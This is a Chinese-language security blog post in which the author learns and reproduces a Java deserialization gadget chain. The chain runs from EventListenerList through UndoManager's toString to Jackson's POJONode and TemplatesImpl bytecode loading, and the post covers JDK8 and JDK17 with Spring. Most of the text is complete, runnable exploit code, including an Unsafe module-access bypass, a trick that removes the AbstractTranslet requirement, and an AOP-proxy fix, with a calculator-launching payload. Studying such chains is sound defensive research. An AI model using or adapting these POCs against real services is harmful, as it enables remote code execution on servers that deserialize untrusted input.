前言 需要学习的知识点还挺多,自己还是太菜了。下面算是关于这个链子从零学习的一个过程。标题突然有点犯二了哈,别介意~
EventListenerList触发任意toString 参考的文章链接是:https://infernity.top/2025/03/24/EventListenerList%E8%A7%A6%E5%8F%91%E4%BB%BB%E6%84%8FtoString/
orz了,学习!
作者既然提到了是jdk8u66版本,我电脑这里下载好的是jdk8u65,就先用这个版本复现学习一下。
JDK8u65版本环境 如题,我们从EventListenerList类出发,先看其EventListenerList#readObject
方法。
下面是具体代码,这里是循环从数据中反序列化出监听器类型listenerTypeOrNull
和监听器实例EventListener
,然后用add方法将反序列化出来的类型和实例添加到listenerList监听器列表里。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 private void readObject (ObjectInputStream s) throws IOException, ClassNotFoundException { listenerList = NULL_ARRAY; s.defaultReadObject(); Object listenerTypeOrNull; while (null != (listenerTypeOrNull = s.readObject())) { ClassLoader cl = Thread.currentThread().getContextClassLoader(); EventListener l = (EventListener)s.readObject(); String name = (String) listenerTypeOrNull; ReflectUtil.checkPackageAccess(name); add((Class<EventListener>)Class.forName(name, true , cl), l); } }
这里还看不出什么,跟进到add方法里面。如果l变量和t不是一个类型的话,就抛出异常。因为异常信息是字符串,因此l和t会去隐式调用toString方法返回字符串拼接进去。初见端倪。
1 2 3 4 5 6 7 8 9 10 public synchronized <T extends EventListener > void add (Class<T> t, T l) { if (l==null ) { return ; } if (!t.isInstance(l)) { throw new IllegalArgumentException ("Listener " + l + " is not of type " + t); } ...... }
不过呢,l变量是反序列化后还要强转为EventListener,因此要这里要找一个实现了EventListener和Serializable接口的类。这里找到的是UndoManager类,其toString方法如下:
1 2 3 4 public String toString () { return super .toString() + " limit: " + limit + " indexOfNextAdd: " + indexOfNextAdd; }
limit和indexOfNextAdd都是int类型,没有可利用的点,因此看其父类CompoundEdit的toString方法。
1 2 3 4 5 6 7 8 9 boolean inProgress;protected Vector<UndoableEdit> edits;public String toString () { return super .toString() + " inProgress: " + inProgress + " edits: " + edits; }
和刚刚提到的一样,这里拼接字符串会隐式调用inProgress和edits的toString方法。inProgress是boolean类型不必太关注,可以看edits的toString。调用到父类接口AbstractCollection的toString方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public synchronized String toString () { return super .toString(); } public String toString () { Iterator<E> it = iterator(); if (! it.hasNext()) return "[]" ; StringBuilder sb = new StringBuilder (); sb.append('[' ); for (;;) { E e = it.next(); sb.append(e == this ? "(this Collection)" : e); if (! it.hasNext()) return sb.append(']' ).toString(); sb.append(',' ).append(' ' ); } }
从容器中取出元素e,然后调用StringBuilder.append方法,e作为参数,我们跟进去看看。
1 2 3 public StringBuilder append (Object obj) { return append(String.valueOf(obj)); }
继续看String.valueOf
1 2 3 public static String valueOf (Object obj) { return (obj == null ) ? "null" : obj.toString(); }
看到这里就是调用到obj的toString的方法。obj自然就是刚刚从容器中取出的的e,而我们可以通过Vector提供的add方法往容器里面塞一个带有恶意toString的类即可。比如下面的恶意类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import java.io.IOException; import java.io.Serializable; public class Calc implements Serializable { public Calc () { } public String toString () { try { System.out.println("toString方法被调用" ); Runtime.getRuntime().exec("open -a Calculator" ); } catch (IOException e) { throw new RuntimeException (e); } return "" ; } }
分析结束,开始编写POC吧。
POC 先不急着写完整POC,先正向思路验证一下刚刚的逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import javax.swing.undo.CompoundEdit; import javax.swing.undo.UndoManager; import java.lang.reflect.Field; import java.util.Vector; public class EXP { public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException { Calc calc = new Calc (); UndoManager undoManager = new UndoManager (); Vector vector = new Vector (); vector.add(calc); Field editsField = CompoundEdit.class.getDeclaredField("edits" ); editsField.setAccessible(true ); editsField.set(undoManager,vector); undoManager.toString(); } }
没问题
在上面基础上编写完整POC,EventListenerList的反序列化方法之前看了,现在我们看看序列化代码帮助理解如何构造。可以看到实际时有一个Object数组,然后用一个循环。这个循环会这样序列化,首先从数组拿出一个Class,获取其Name然后序列化,然后拿下一个元素为EventListener序列化,类似先序列化一个key键名,然后序列化一个valve值。以此循环下去。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public class EventListenerList implements Serializable { private final static Object[] NULL_ARRAY = new Object [0 ]; protected transient Object[] listenerList = NULL_ARRAY; private void writeObject (ObjectOutputStream s) throws IOException { Object[] lList = listenerList; s.defaultWriteObject(); for (int i = 0 ; i < lList.length; i+=2 ) { Class<?> t = (Class)lList[i]; EventListener l = (EventListener)lList[i+1 ]; if ((l!=null ) && (l instanceof Serializable)) { s.writeObject(t.getName()); s.writeObject(l); } } s.writeObject(null ); } }
这样看来构造序列化数据就不难了。把listenerList值设置为自己建立的Object数组,塞一个Class进去,然后把构造的UndoManager塞进去就行。如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import javax.swing.event.EventListenerList; import javax.swing.undo.CompoundEdit; import javax.swing.undo.UndoManager; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.Vector; public class EXP { public static void main (String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { Calc calc = new Calc (); UndoManager undoManager = new UndoManager (); Vector vector = new Vector (); vector.add(calc); Field editsField = CompoundEdit.class.getDeclaredField("edits" ); editsField.setAccessible(true ); editsField.set(undoManager, vector); Object[] objects = new Object []{Base64.class, undoManager}; EventListenerList eventListenerList = new EventListenerList (); Field listenerListField = eventListenerList.getClass().getDeclaredField("listenerList" ); listenerListField.setAccessible(true ); listenerListField.set(eventListenerList, objects); String data = serialize(eventListenerList); unserialize(data); } public static String serialize (Object obj) throws IOException { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(obj); byte [] bytecode = Base64.getEncoder().encode(byteArrayOutputStream.toByteArray()); return new String (bytecode); } public static Object unserialize (String base64) throws IOException, ClassNotFoundException { byte [] decode = Base64.getDecoder().decode(base64); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (decode); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); Object o = objectInputStream.readObject(); return o; } }
POJONode#toString反序列化调用getter方法 这个应该大家都知道,但是本人没有怎么接触过jackson而且没打过ctf,所以对我来说是一个新知识点。学习一下
环境 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <dependency > <groupId > com.fasterxml.jackson.core</groupId > <artifactId > jackson-databind</artifactId > <version > 2.13.3</version > </dependency > <dependency > <groupId > com.fasterxml.jackson.core</groupId > <artifactId > jackson-core</artifactId > <version > 2.13.3</version > </dependency > <dependency > <groupId > com.fasterxml.jackson.core</groupId > <artifactId > jackson-annotations</artifactId > <version > 2.13.3</version > </dependency >
POJONode#toString 从左边结构看到PoJoNode类没有toString方法,因此调用他的toString实际是在调用父类的toString。
跟进到ValueNode类也没有,继续看ValveNode的父类BaseJsonNode。现在可以看到了
调用了InternalNodeMapper#nodeToString方法。直接调用了writeValueAsString方法用JackSon的序列化逻辑了。
后续大致一个逻辑如下,因为网上很多资料,而且打过CTF的大哥应该很熟悉了,就不过多赘述。
1 BaseJsonNode#toString-> InternalNodeMapper#nodeToString-> ObjectWriter#writeValueAsString-> ObjectWriter#_writeValueAndClose-> DefaultSerializerProvider#serializeValue-> DefaultSerializerProvider#_serialize-> BeanSerializer#serialize-> BeanSerializerBase#serializeFields-> BeanPropertyWriter#serializeAsField-> TemplatesImpl#getOutputProperties
POC 需要注意的是ObjectOutputStream#writeObject0里面,如果反序列化的类有writeReplace方法,会去尝试替换对象导致异常终止程序,可以用javassist修改字节码删掉这个方法或者改掉名字。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.*; import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; public class POC { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); ClassPool.getDefault().insertClassPath(new LoaderClassPath (POC.class.getClassLoader())); CtClass ctClass = ClassPool.getDefault().getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod originalMethod = ctClass.getDeclaredMethod("writeReplace" ); originalMethod.setName("writeReplace_1111" ); ctClass.toClass(); CtClass clazz = pool.makeClass("cmisl" ); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor (new CtClass []{}, clazz); constructor.setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");" ); clazz.addConstructor(constructor); byte [][] bytes = new byte [][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes" , bytes); setValue(templates, "_name" , "a" ); setValue(templates, "_tfactory" , new TransformerFactoryImpl ()); POJONode node = new POJONode (templates); BadAttributeValueExpException val; val = new BadAttributeValueExpException (null ); Field valfield = val.getClass().getDeclaredField("val" ); valfield.setAccessible(true ); valfield.set(val, node); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (byteArrayOutputStream); oos.writeObject(val); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (byteArrayOutputStream.toByteArray())); Object o = (Object)ois.readObject(); } public static void setValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } }
EventListenerList调用连 结合上面内容,用EventListenerList去调用POJONode的toString方法,然后通过POJONode的toString方法调用TemplatesImpl#getOutputProperties方法。POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.*; import javax.swing.event.EventListenerList; import javax.swing.undo.CompoundEdit; import javax.swing.undo.UndoManager; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.Vector; public class EventListenerList_POC { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); ClassPool.getDefault().insertClassPath(new LoaderClassPath (Thread.currentThread().getContextClassLoader())); CtClass ctClass = ClassPool.getDefault().getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod originalMethod = ctClass.getDeclaredMethod("writeReplace" ); originalMethod.setName("writeReplace_1111" ); ctClass.toClass(); CtClass clazz = pool.makeClass("cmisl" ); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor (new CtClass []{}, clazz); constructor.setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");" ); clazz.addConstructor(constructor); byte [][] bytes = new byte [][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes" , bytes); setValue(templates, "_name" , "a" ); setValue(templates, "_tfactory" , new TransformerFactoryImpl ()); POJONode evilPojoNode = new POJONode (templates); UndoManager undoManager = new UndoManager (); Vector vector = new Vector (); vector.add(evilPojoNode); Field editsField = CompoundEdit.class.getDeclaredField("edits" ); editsField.setAccessible(true ); editsField.set(undoManager, vector); Object[] objects = new Object []{Base64.class, undoManager}; EventListenerList evileventListenerList = new EventListenerList (); setValue(evileventListenerList, "listenerList" , objects); String data = serialize(evileventListenerList); unserialize(data); } public static void setValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static String serialize (Object obj) throws IOException { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(obj); byte [] bytecode = Base64.getEncoder().encode(byteArrayOutputStream.toByteArray()); return new String (bytecode); } public static Object unserialize (String base64) throws IOException, ClassNotFoundException { byte [] decode = Base64.getDecoder().decode(base64); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (decode); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); Object o = objectInputStream.readObject(); return o; } }
高版本JDK环境下构造 从上面的内容就已经有一个清晰的Spring环境原生的反序列化链了。并且EventListenerList也可以在高版本JDK替代了BadAttributeValueExpException类去调用toString方法。但是除此之外我们还需要解决高版本JDK环境中的反射调用,和恶意类继承AbstractTranslet的问题。
其实对于高版本JDK的反射调用,我写过一篇文章其中有相关说明:https://cmisl.github.io/2024/10/28/%E9%AB%98%E7%89%88%E6%9C%ACJDK%E5%8A%A0%E8%BD%BD%E5%AD%97%E8%8A%82%E7%A0%81%E5%88%86%E6%9E%90/
高版本JDK无法反射调用主要是有如下方法进行检查:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 private boolean checkCanSetAccessible (Class<?> caller, Class<?> declaringClass, boolean throwExceptionIfDenied) { if (caller == MethodHandle.class) { throw new IllegalCallerException (); } Module callerModule = caller.getModule(); Module declaringModule = declaringClass.getModule(); if (callerModule == declaringModule) return true ; if (callerModule == Object.class.getModule()) return true ; if (!declaringModule.isNamed()) return true ; String pn = declaringClass.getPackageName(); int modifiers; if (this instanceof Executable) { modifiers = ((Executable) this ).getModifiers(); } else { modifiers = ((Field) this ).getModifiers(); } boolean isClassPublic = Modifier.isPublic(declaringClass.getModifiers()); if (isClassPublic && declaringModule.isExported(pn, callerModule)) { if (Modifier.isPublic(modifiers)) { return true ; } if (Modifier.isProtected(modifiers) && Modifier.isStatic(modifiers) && isSubclassOf(caller, declaringClass)) { return true ; } } if (declaringModule.isOpen(pn, callerModule)) { return true ; } if (throwExceptionIfDenied) { String msg = "Unable to make " ; if (this instanceof Field) msg += "field " ; msg += this + " accessible: " + declaringModule + " does not \"" ; if (isClassPublic && Modifier.isPublic(modifiers)) msg += "exports" ; else msg += "opens" ; msg += " " + pn + "\" to " + callerModule; InaccessibleObjectException e = new InaccessibleObjectException (msg); if (printStackTraceWhenAccessFails()) { e.printStackTrace(System.err); } throw e; } return false ; }
checkCanSetAccessible
方法有多个条件可以返回 true
,表示调用者可以访问指定的类或成员。以下是所有能返回 true
的情况的总结:
同一模块 :如果 callerModule
和 declaringModule
是同一个模块(callerModule == declaringModule
),返回 true
。
未命名模块 :如果 callerModule
是 Object
类所在的模块(未命名模块),返回 true
(callerModule == Object.class.getModule()
)。
未命名模块的声明者 :如果 declaringModule
不是命名模块(!declaringModule.isNamed()
),返回 true
。
公共类和导出的包 :如果 declaringClass
是公共类(isClassPublic
为 true
)并且其声明者模块导出了包(declaringModule.isExported(pn, callerModule)
):若成员是公共的(Modifier.isPublic(modifiers)
),返回 true
。或者若成员是受保护的静态成员(Modifier.isProtected(modifiers) && Modifier.isStatic(modifiers)
)且调用者是声明者类的子类(isSubclassOf(caller, declaringClass)
),返回 true
。
开放的包 :如果 declaringModule
对包(pn
)是开放的(declaringModule.isOpen(pn, callerModule)
),返回 true
。
我们可以关注第一种情况,也就是callerModule
和 declaringModule
是同一个模块这种情况。因为他的比较是获取调用类的Class
对象的Moudle
属性去和声明类的Class
对象的module
属性去做一个比较,即我们正在运行的当前类和ClassLoader
类的Class
对象的module
属性做比较,如果我们可以修改当前类的Class
对象的module
属性,将其设置和ClassLoader
类的Class
对象的module
属性一样,那就可以返回true
,即运行当前类反射调用ClassLoader
类的defineclass
方法。
可以通过Unsafe类的相关方法来修改类的module属性来绕过检查,具体的内容还是推荐看刚刚提到我写过的一篇JDK高版本绕过的文章。
绕过代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 BypassMoudle(TemplatesImpl.class); BypassMoudle(POJONode.class); BypassMoudle(EventListenerList.class); BypassMoudle(SpringPOC.class); BypassMoudle(Field.class); BypassMoudle(Method.class); public static void BypassMoudle (Object obj) throws Exception { Class unsafeClass = Class.forName("sun.misc.Unsafe" ); Field field = unsafeClass.getDeclaredField("theUnsafe" ); field.setAccessible(true ); Unsafe unsafe = (Unsafe) field.get(null ); Module baseModule = obj.getClass().getModule(); Class currentClass = SpringPOC.class; long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module" )); unsafe.putObject(currentClass, offset, baseModule); }
解决继承AbstractTranslet影响 我们在构造TemplatesImpl时,里面要加载的字节码是需要继承AbstractTranslet类的,但如果我们去继承的话,由于jdk17的包隔离,会出现很多问题,上面的绕过方法就不太行了。
而TemplatesImpl链确实存在去除 AbstractTranslet 限制的trick:https://whoopsunix.com/docs/PPPYSO/advance/TemplatesImpl/#0x02-%E5%8E%BB%E9%99%A4-abstracttranslet-%E9%99%90%E5%88%B6
之前是继承了的话,就会把_transletIndex赋值为i,必然大于等于0,原本默认值是-1,后续会判断这个值是否小于0,小于0就异常,我们不继承的话就不会走到赋值这一步。但是可以通过反射修改_transletIndex值,还需要注意的是由于会走到另外一个分支语句,也就是_auxClasses.put,因此_auxClasses不能为其默认值null。
不过前面就有new一个hashmap的代码,只需要classCount大于1,就是说bytecodes这个字节数组要有两个及以上的元素,这个只需要多加一个任意类的字节码作为第二个元素就行。
因此改为如下代码即可:
1 2 3 4 5 6 7 8 Reflections.setFieldValue(templates, "_bytecodes" , new byte [][]{ classBytes, ClassFiles.classAsBytes(XXX.class) }); Reflections.setFieldValue(templates, "_name" , "cmisl" ); Reflections.setFieldValue(templates, "_transletIndex" , 0 ); Reflections.setFieldValue(templates, "_tfactory" , transFactory.newInstance());
getter方法调用顺序的随机性 jackson在反序列化时,调用getter方法时通过getDeclaredMethods,而用这个函数获取的方法顺序随机,所以可能导致还没调用到预期getter方法就报错终止代码。
使用 Spring Aop 代理封装,可以使 Jackson 只获取到我们需要的 getter。Templates接口的getter方法只有一个getOutputProperties,所以getDeclaredMethods获取的时候也不会出现顺序问题了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 AdvisedSupport advisedSupport = new AdvisedSupport ();advisedSupport.setTarget(templates); Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy" ) .getConstructor(AdvisedSupport.class); constructor.setAccessible(true ); InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);Object proxy = Proxy.newProxyInstance( ClassLoader.getSystemClassLoader(), new Class []{Templates.class}, handler );
最后的POC 没有优化的POC,也是根据文章一步步学习和理解思路然后修改出来的第一版POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.*; import org.springframework.aop.framework.AdvisedSupport; import sun.misc.Unsafe; import javax.swing.event.EventListenerList; import javax.swing.undo.UndoManager; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.*; import java.util.Base64; import java.util.Vector; public class SpringPOC { public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); ClassPool.getDefault().insertClassPath(new LoaderClassPath (Thread.currentThread().getContextClassLoader())); CtClass ctClass = ClassPool.getDefault().getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod originalMethod = ctClass.getDeclaredMethod("writeReplace" ); originalMethod.setName("writeReplace_1111" ); ctClass.toClass(); BypassMoudle(TemplatesImpl.class); BypassMoudle(POJONode.class); BypassMoudle(EventListenerList.class); BypassMoudle(SpringPOC.class); BypassMoudle(Field.class); BypassMoudle(Method.class); CtClass clazz = pool.makeClass("cmisl" ); CtConstructor constructor = new CtConstructor (new CtClass []{}, clazz); constructor.setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");" ); clazz.addConstructor(constructor); byte [][] bytes = new byte [][]{clazz.toBytecode(), ClassPool.getDefault().makeClass("cmisl11" ).toBytecode()}; TemplatesImpl templates = new TemplatesImpl (); setValue(templates, "_bytecodes" , bytes); setValue(templates, "_name" , "a" ); setValue(templates, "_transletIndex" , 0 ); AdvisedSupport advisedSupport = new AdvisedSupport (); advisedSupport.setTarget(templates); Constructor constructor1 = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy" ) .getConstructor(AdvisedSupport.class); constructor1.setAccessible(true ); InvocationHandler handler = (InvocationHandler) constructor1.newInstance(advisedSupport); Object proxy = Proxy.newProxyInstance( ClassLoader.getSystemClassLoader(), new Class []{Templates.class}, handler ); POJONode evilPojoNode = new POJONode (proxy); UndoManager undoManager = new UndoManager (); Vector vector = new Vector (); vector.add(evilPojoNode); BypassMoudle(undoManager.getClass()); BypassMoudle(undoManager.getClass().getSuperclass()); Field editsField = undoManager.getClass().getSuperclass().getDeclaredField("edits" ); editsField.setAccessible(true ); editsField.set(undoManager, vector); Object[] objects = new Object []{Base64.class, undoManager}; EventListenerList evileventListenerList = new EventListenerList (); setValue(evileventListenerList, "listenerList" , objects); String data = serialize(evileventListenerList); System.out.println(data); unserialize(data); } public static Object getFieldValue (Object obj, String fieldName) throws Exception { Field field = null ; Class c = obj.getClass(); for (int i = 0 ; i < 5 ; i++) { try { field = c.getDeclaredField(fieldName); } catch (NoSuchFieldException e) { c = c.getSuperclass(); } } field.setAccessible(true ); return field.get(obj); } public static void setValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static String serialize (Object obj) throws IOException { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (byteArrayOutputStream); objectOutputStream.writeObject(obj); byte [] bytecode = Base64.getEncoder().encode(byteArrayOutputStream.toByteArray()); return new String (bytecode); } public static Object unserialize (String base64) throws IOException, ClassNotFoundException { byte [] decode = Base64.getDecoder().decode(base64); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (decode); ObjectInputStream objectInputStream = new ObjectInputStream (byteArrayInputStream); Object o = objectInputStream.readObject(); return o; } public static void BypassMoudle (Object obj) throws Exception { Class unsafeClass = Class.forName("sun.misc.Unsafe" ); Field field = unsafeClass.getDeclaredField("theUnsafe" ); field.setAccessible(true ); Unsafe unsafe = (Unsafe) field.get(null ); Module baseModule = obj.getClass().getModule(); Class currentClass = SpringPOC.class; long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module" )); unsafe.putObject(currentClass, offset, baseModule); } }